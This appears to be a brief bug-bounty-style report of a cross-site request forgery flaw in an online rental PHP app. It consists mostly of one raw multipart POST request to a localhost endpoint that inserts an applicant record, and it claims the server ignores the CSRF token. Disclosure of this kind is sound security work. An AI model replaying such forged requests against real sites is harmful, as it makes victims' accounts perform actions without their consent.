✍️ Description

CSRF bug in applicant

🕵️‍♂️ Proof of Concept

Bellow request is vulnerable to csrf attack .
Although there is csrf token in request but it does not checked in server-side . Any attacker provided csrf token is accepted here.

POST /online-rental/app/applicants_and_tenants_view.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------348290912833642125311838419114
Content-Length: 2783
Origin: http://localhost
Connection: close
Referer: http://localhost/online-rental/app/applicants_and_tenants_view.php
Cookie: 
Upgrade-Insecure-Requests: 1

-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="current_view"

DV
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="SortField"


-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="SelectedID"


-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="SelectedField"


-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="SortDirection"


-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="FirstRecord"

1
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="NoDV"


-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="PrintDV"


-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="DisplayRecords"

all
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="last_name"

by_adminsss2
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="first_name"

sds
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="email"


-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="phone"


-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="birth_dateMonth"


-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="birth_dateDay"


-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="birth_dateYear"


-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="driver_license_number"


-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="monthly_gross_pay"


-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="additional_income"


-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="assets"


-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="status"

Applicant
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="insert_x"

1
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="SearchString"


-----------------------------348290912833642125311838419114--

💥 Impact

csrf bug